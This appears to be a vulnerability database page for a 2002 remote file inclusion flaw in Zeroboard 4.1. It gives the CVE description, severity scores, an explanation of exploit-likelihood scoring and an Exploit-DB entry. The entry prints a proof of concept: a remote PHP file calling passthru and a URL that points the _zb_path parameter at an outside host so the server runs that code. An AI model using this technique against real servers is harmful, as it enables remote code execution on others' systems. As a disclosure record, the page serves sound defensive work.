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CVE Descriptions
Zeroboard 4.1, when the "allow_url_fopen" and "register_globals" variables are enabled, allows remote attackers to execute arbitrary PHP code by modifying the _zb_path parameter to reference a URL on a remote web server that contains the code.
CVE Informations
Metrics
| Metrics | Score | Severity | CVSS Vector | Source |
|---|---|---|---|---|
| V2 | 5 | AV:N/AC:L/Au:N/C:N/I:P/A:N | nvd@nist.gov |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 21557
Publication date : 2002-06-14 22h00 +00:00
Author : onlooker
EDB Verified : Yes
source: https://www.securityfocus.com/bid/5028/info
Zeroboard is a PHP web board package available for the Linux and Unix platforms.
Under some circumstances, it may be possible to include arbitrary PHP files. The _head.php file does not sufficiently check or sanitize input. When the "allow_url_fopen" variable and the "register_globals" variable in php.ini are set to "On," it is possible to load a PHP include file from a remote URL via the _head.php script.
PHP Source file a.php
<? passthru("/bin/ls"); ?>
Accessing URL on vulnerable system:
http://vulnerablesystem/_head.php?_zb_path=http://example.com/a
Products Mentioned
Configuraton 0
Zeroboard>>Zeroboard >> Version 4.1_pl2
